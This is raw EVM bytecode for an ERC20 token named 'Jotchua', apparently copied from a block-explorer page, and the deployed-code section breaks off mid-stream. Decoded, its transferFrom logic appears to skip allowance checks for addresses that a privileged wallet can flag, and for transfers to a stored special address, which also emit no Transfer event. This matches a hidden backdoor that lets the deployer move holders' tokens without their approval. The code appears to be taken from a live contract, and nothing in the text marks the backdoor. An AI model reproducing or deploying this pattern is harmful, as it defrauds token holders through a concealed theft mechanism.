11be190612e96565b60405180910390fd5b809150505b92915050565b5f611c3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612193565b905092915050565b5f80600267ffffffffffffffff811115611c5b57611c5a612eb4565b5b604051908082528060200260200182016040528015611c895781602001602082028036833780820191505090505b50905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cf6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d1a919061274b565b815f81518110611d2d57611d2c612ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611d7c57611d7b612ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f6706f05b59d3b20000846040518363ffffffff1660e01b8152600401611e1b929190612ffe565b5f60405180830381865afa158015611e35573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611e5d919061313f565b905080600181518110611e7357611e72612ee1565b5b60200260200101519250505090565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611eb957611eb8612eb4565b5b604051908082528060200260200182016040528015611ee75781602001602082028036833780820191505090505b50905030815f81518110611efe57611efd612ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fa2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fc6919061274b565b81600181518110611fda57611fd9612ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120403060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110e0565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120a2959493929190613186565b5f604051808303815f87803b1580156120b9575f80fd5b505af11580156120cb573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b5f8082846120fb9190612cb4565b905083811015612140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213790613228565b60405180910390fd5b8091505092915050565b5f61218b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab4565b905092915050565b5f80831182906121d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d0919061227e565b60405180910390fd5b505f83856121e79190612df6565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561222b578082015181840152602081019050612210565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612250826121f4565b61225a81856121fe565b935061226a81856020860161220e565b61227381612236565b840191505092915050565b5f6020820190508181035f8301526122968184612246565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122d8826122af565b9050919050565b6122e8816122ce565b81146122f2575f80fd5b50565b5f81359050612303816122df565b92915050565b5f819050919050565b61231b81612309565b8114612325575f80fd5b50565b5f8135905061233681612312565b92915050565b5f8060408385031215612352576123516122a7565b5b5f61235f858286016122f5565b925050602061237085828601612328565b9150509250929050565b5f8115159050919050565b61238e8161237a565b82525050565b5f6020820190506123a75f830184612385565b92915050565b6123b681612309565b82525050565b5f6020820190506123cf5f8301846123ad565b92915050565b5f805f606084860312156123ec576123eb6122a7565b5b5f6123f9868287016122f5565b935050602061240a868287016122f5565b925050604061241b86828701612328565b9150509250925092565b5f60ff82169050919050565b61243a81612425565b82525050565b5f6020820190506124535f830184612431565b92915050565b5f6020828403121561246e5761246d6122a7565b5b5f61247b848285016122f5565b91505092915050565b61248d816122ce565b82525050565b5f6020820190506124a65f830184612484565b92915050565b5f80604083850312156124c2576124c16122a7565b5b5f6124cf858286016122f5565b92505060206124e0858286016122f5565b9150509250929050565b5f6124f4826122af565b9050919050565b612504816124ea565b811461250e575f80fd5b50565b5f8135905061251f816124fb565b92915050565b5f6020828403121561253a576125396122a7565b5b5f61254784828501612511565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125d2578086048111156125ae576125ad612550565b5b60018516156125bd5780820291505b80810290506125cb8561257d565b9450612592565b94509492505050565b5f826125ea57600190506126a5565b816125f7575f90506126a5565b816001811461260d576002811461261757612646565b60019150506126a5565b60ff84111561262957612628612550565b5b8360020a9150848211156126405761263f612550565b5b506126a5565b5060208310610133831016604e8410600b841016171561267b5782820a90508381111561267657612675612550565b5b6126a5565b6126888484846001612589565b9250905081840481111561269f5761269e612550565b5b81810290505b9392505050565b5f6126b682612309565b91506126c183612425565b92506126ee7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125db565b905092915050565b5f61270082612309565b915061270b83612309565b925082820261271981612309565b915082820484148315176127305761272f612550565b5b5092915050565b5f81519050612745816122df565b92915050565b5f602082840312156127605761275f6122a7565b5b5f61276d84828501612737565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127aa6020836121fe565b91506127b582612776565b602082019050919050565b5f6020820190508181035f8301526127d78161279e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6128126017836121fe565b915061281d826127de565b602082019050919050565b5f6020820190508181035f83015261283f81612806565b9050919050565b5f6040820190506128595f830185612484565b6128666020830184612484565b9392505050565b5f819050919050565b5f819050919050565b5f61289961289461288f8461286d565b612876565b612309565b9050919050565b6128a98161287f565b82525050565b5f60c0820190506128c25f830189612484565b6128cf60208301886123ad565b6128dc60408301876128a0565b6128e960608301866128a0565b6128f66080830185612484565b61290360a08301846123ad565b979650505050505050565b5f8151905061291c81612312565b92915050565b5f805f60608486031215612939576129386122a7565b5b5f6129468682870161290e565b93505060206129578682870161290e565b92505060406129688682870161290e565b9150509250925092565b5f6040820190506129855f830185612484565b61299260208301846123ad565b9392505050565b6129a28161237a565b81146129ac575f80fd5b50565b5f815190506129bd81612999565b92915050565b5f602082840312156129d8576129d76122a7565b5b5f6129e5848285016129af565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a486024836121fe565b9150612a53826129ee565b604082019050919050565b5f6020820190508181035f830152612a7581612a3c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ad66022836121fe565b9150612ae182612a7c565b604082019050919050565b5f6020820190508181035f830152612b0381612aca565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612b646025836121fe565b9150612b6f82612b0a565b604082019050919050565b5f6020820190508181035f830152612b9181612b58565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612bf26023836121fe565b9150612bfd82612b98565b604082019050919050565b5f6020820190508181035f830152612c1f81612be6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612c806029836121fe565b9150612c8b82612c26565b604082019050919050565b5f6020820190508181035f830152612cad81612c74565b9050919050565b5f612cbe82612309565b9150612cc983612309565b9250828201905080821115612ce157612ce0612550565b5b92915050565b5f612cf182612309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d2357612d22612550565b5b600182019050919050565b7f4d61782053776170204c696d69740000000000000000000000000000000000005f82015250565b5f612d62600e836121fe565b9150612d6d82612d2e565b602082019050919050565b5f6020820190508181035f830152612d8f81612d56565b9050919050565b5f612da082612309565b9150612dab83612309565b9250828203905081811115612dc357612dc2612550565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612e0082612309565b9150612e0b83612309565b925082612e1b57612e1a612dc9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e806021836121fe565b9150612e8b82612e26565b604082019050919050565b5f6020820190508181035f830152612ead81612e74565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f612f31612f2c612f2784612f0e565b612876565b612309565b9050919050565b612f4181612f17565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f79816122ce565b82525050565b5f612f8a8383612f70565b60208301905092915050565b5f602082019050919050565b5f612fac82612f47565b612fb68185612f51565b9350612fc183612f61565b805f5b83811015612ff1578151612fd88882612f7f565b9750612fe383612f96565b925050600181019050612fc4565b5085935050505092915050565b5f6040820190506130115f830185612f38565b81810360208301526130238184612fa2565b90509392505050565b5f80fd5b61303982612236565b810181811067ffffffffffffffff8211171561305857613057612eb4565b5b80604052505050565b5f61306a61229e565b90506130768282613030565b919050565b5f67ffffffffffffffff82111561309557613094612eb4565b5b602082029050602081019050919050565b5f80fd5b5f6130bc6130b78461307b565b613061565b905080838252602082019050602084028301858111156130df576130de6130a6565b5b835b8181101561310857806130f4888261290e565b8452602084019350506020810190506130e1565b5050509392505050565b5f82601f8301126131265761312561302c565b5b81516131368482602086016130aa565b91505092915050565b5f60208284031215613154576131536122a7565b5b5f82015167ffffffffffffffff811115613171576131706122ab565b5b61317d84828501613112565b91505092915050565b5f60a0820190506131995f8301886123ad565b6131a660208301876128a0565b81810360408301526131b88186612fa2565b90506131c76060830185612484565b6131d460808301846123ad565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613212601b836121fe565b915061321d826131de565b602082019050919050565b5f6020820190508181035f83015261323f81613206565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220892650fdd292f2c4dfb1c32114776ff5021654734c33b930dc2156ebcf9b543664736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100f6575f3560e01c8063751039fc11610089578063a9059cbb11610058578063a9059cbb146102f3578063dd62ed3e1461032f578063ea414b281461036b578063f429389014610393576100fd565b8063751039fc146102735780638a8c523c146102895780638da5cb5b1461029f57806395d89b41146102c9576100fd565b806323b872dd116100c557806323b872dd146101bb578063313ce567146101f757806370a0823114610221578063715018a61461025d576100fd565b806306fdde0314610101578063095ea7b31461012b5780630faee56f1461016757806318160ddd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103a9565b604051610122919061227e565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c919061233c565b6103e6565b60405161015e9190612394565b60405180910390f35b348015610172575f80fd5b5061017b610403565b60405161018891906123bc565b60405180910390f35b34801561019c575f80fd5b506101a5610409565b6040516101b291906123bc565b60405180910390f35b3480156101c6575f80fd5b506101e160048036038101906101dc91906123d5565b61042c565b6040516101ee9190612394565b60405180910390f35b348015610202575f80fd5b5061020b6106cb565b6040516102189190612440565b60405180910390f35b34801561022c575f80fd5b5061024760048036038101906102429190612459565b6106d3565b60405161025491906123bc565b60405180910390f35b348015610268575f80fd5b50610271610719565b005b34801561027e575f80fd5b50610287610867565b005b348015610294575f80fd5b5061029d6108fd565b005b3480156102aa575f80fd5b506102b3610e1f565b6040516102c09190612493565b60405180910390f35b3480156102d4575f80fd5b506102dd610e46565b6040516102ea919061227e565b60405180910390f35b3480156102fe575f80fd5b506103196004803603810190610314919061233c565b610e83565b6040516103269190612394565b60405180910390f35b34801561033a575f80fd5b50610355600480360381019061035091906124ac565b610ea0565b60405161036291906123bc565b60405180910390f35b348015610376575f80fd5b50610391600480360381019061038c9190612525565b610f22565b005b34801561039e575f80fd5b506103a761103a565b005b60606040518060400160405280600781526020017f4a6f746368756100000000000000000000000000000000000000000000000000815250905090565b5f6103f96103f26110d9565b84846110e0565b6001905092915050565b60015481565b5f6009600a61041891906126ac565b633b9aca0061042791906126f6565b905090565b5f6104388484846112a3565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c6919061274b565b73ffffffffffffffffffffffffffffffffffffffff166104e46110d9565b73ffffffffffffffffffffffffffffffffffffffff161415801561054e575060045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806105fe575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156105fd575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b6106c0576106bf8461060e6110d9565b6106ba856040518060600160405280602881526020016132476028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106716110d9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab49092919063ffffffff16565b6110e0565b5b600190509392505050565b5f6009905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107216110d9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a4906127c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61086f6110d9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f2906127c0565b60405180910390fd5b565b6109056110d9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610988906127c0565b60405180910390fd5b601360149054906101000a900460ff16156109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d890612828565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a7d3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610a6991906126ac565b633b9aca00610a7891906126f6565b6110e0565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0b919061274b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b91573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb5919061274b565b6040518363ffffffff1660e01b8152600401610bd2929190612846565b6020604051808303815f875af1158015610bee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c12919061274b565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c99306106d3565b5f80610ca3610e1f565b426040518863ffffffff1660e01b8152600401610cc5969594939291906128af565b60606040518083038185885af1158015610ce1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d069190612922565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610da6929190612972565b6020604051808303815f875af1158015610dc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de691906129c3565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4a4f544348554100000000000000000000000000000000000000000000000000815250905090565b5f610e96610e8f6110d9565b84846112a3565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f626110d9565b73ffffffffffffffffffffffffffffffffffffffff1614610f81575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6110426110d9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c5906127c0565b60405180910390fd5b6110d747611b16565b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361114e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114590612a5e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b390612aec565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161129691906123bc565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611311576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130890612b7a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137690612c08565b60405180910390fd5b5f81116113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b890612c96565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561142a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117af5761146b606461145d600b54600d541161144a5760075461144e565b6009545b85611b7e90919063ffffffff16565b611bf590919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611516575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611569575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115b65743600e5414611586575f600f8190555043600e819055505b81600f5f8282546115979190612cb4565b92505081905550600d5f8154809291906115b090612ce7565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561163e57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116da5761164b611c3e565b600f54108061165c575043600e5414155b61169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169290612d78565b60405180910390fd5b6116d760646116c9600c54600d54116116b6576008546116ba565b600a545b85611b7e90919063ffffffff16565b611bf590919063ffffffff16565b90505b5f6116e4306106d3565b9050601360159054906101000a900460ff1615801561174f575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117675750601360169054906101000a900460ff165b156117ad575f8111156117a3575f60015482116117845781611788565b6001545b90506117a181851161179a578461179c565b815b611e82565b505b6117ac47611b16565b5b505b5f8111156118ae576118078160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120ed90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118a591906123bc565b60405180910390a35b6118fe8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461214a90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119a1611955828461214a90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120ed90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aae578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a98848661214a90919063ffffffff16565b604051611aa591906123bc565b60405180910390a35b50505050565b5f838311158290611afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af2919061227e565b60405180910390fd5b505f8385611b099190612d96565b9050809150509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b7a573d5f803e3d5ffd5b5050565b5f808303611b8e575f9050611bef565b5f8284611b9b91906126f6565b9050828482611baa9190612df6565b14611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be190612e96565b60405180910390fd5b809150505b92915050565b5f611c3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612193565b905092915050565b5f80600267ffffffffffffffff811115611c5b57611c5a612eb4565b5b604051908082528060200260200182016040528015611c895781602001602082028036833780820191505090505b50905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cf6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d1a919061274b565b815f81518110611d2d57611d2c612ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611d7c57611d7b612ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f6706f05b59d3b20000846040518363ffffffff1660e01b8152600401611e1b929190612ffe565b5f60405180830381865afa158015611e35573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611e5d919061313f565b905080600181518110611e7357611e72612ee1565b5b60200260200101519250505090565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611eb957611eb8612eb4565b5b604051908082528060200260200182016040528015611ee75781602001602082028036833780820191505090505b50905030815f81518110611efe57611efd612ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fa2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fc6919061274b565b81600181518110611fda57611fd9612ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120403060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110e0565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120a2959493929190613186565b5f604051808303815f87803b1580156120b9575f80fd5b505af11580156120cb573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b5f8082846120fb9190612cb4565b905083811015612140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213790613228565b60405180910390fd5b8091505092915050565b5f61218b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab4565b905092915050565b5f80831182906121d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d0919061227e565b60405180910390fd5b505f83856121e79190612df6565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561222b578082015181840152602081019050612210565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612250826121f4565b61225a81856121fe565b935061226a81856020860161220e565b61227381612236565b840191505092915050565b5f6020820190508181035f8301526122968184612246565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122d8826122af565b9050919050565b6122e8816122ce565b81146122f2575f80fd5b50565b5f81359050612303816122df565b92915050565b5f819050919050565b61231b81612309565b8114612325575f80fd5b50565b5f8135905061233681612312565b92915050565b5f8060408385031215612352576123516122a7565b5b5f61235f858286016122f5565b925050602061237085828601612328565b9150509250929050565b5f8115159050919050565b61238e8161237a565b82525050565b5f6020820190506123a75f830184612385565b92915050565b6123b681612309565b82525050565b5f6020820190506123cf5f8301846123ad565b92915050565b5f805f606084860312156123ec576123eb6122a7565b5b5f6123f9868287016122f5565b935050602061240a868287016122f5565b925050604061241b86828701612328565b9150509250925092565b5f60ff82169050919050565b61243a81612425565b82525050565b5f6020820190506124535f830184612431565b92915050565b5f6020828403121561246e5761246d6122a7565b5b5f61247b848285016122f5565b91505092915050565b61248d816122ce565b82525050565b5f6020820190506124a65f830184612484565b92915050565b5f80604083850312156124c2576124c16122a7565b5b5f6124cf858286016122f5565b92505060206124e0858286016122f5565b9150509250929050565b5f6124f4826122af565b9050919050565b612504816124ea565b811461250e575f80fd5b50565b5f8135905061251f816124fb565b92915050565b5f6020828403121561253a576125396122a7565b5b5f61254784828501612511565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125d2578086048111156125ae576125ad612550565b5b60018516156125bd5780820291505b80810290506125cb8561257d565b9450612592565b94509492505050565b5f826125ea57600190506126a5565b816125f7575f90506126a5565b816001811461260d576002811461261757612646565b60019150506126a5565b60ff84111561262957612628612550565b5b8360020a9150848211156126405761263f612550565b5b506126a5565b5060208310610133831016604e8410600b841016171561267b5782820a90508381111561267657612675612550565b5b6126a5565b6126888484846001612589565b9250905081840481111561269f5761269e612550565b5b81810290505b9392505050565b5f6126b682612309565b91506126c183612425565b92506126ee7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125db565b905092915050565b5f61270082612309565b915061270b83612309565b925082820261271981612309565b915082820484148315176127305761272f612550565b5b5092915050565b5f81519050612745816122df565b92915050565b5f602082840312156127605761275f6122a7565b5b5f61276d84828501612737565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127aa6020836121fe565b91506127b582612776565b602082019050919050565b5f6020820190508181035f8301526127d78161279e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6128126017836121fe565b915061281d826127de565b602082019050919050565b5f6020820190508181035f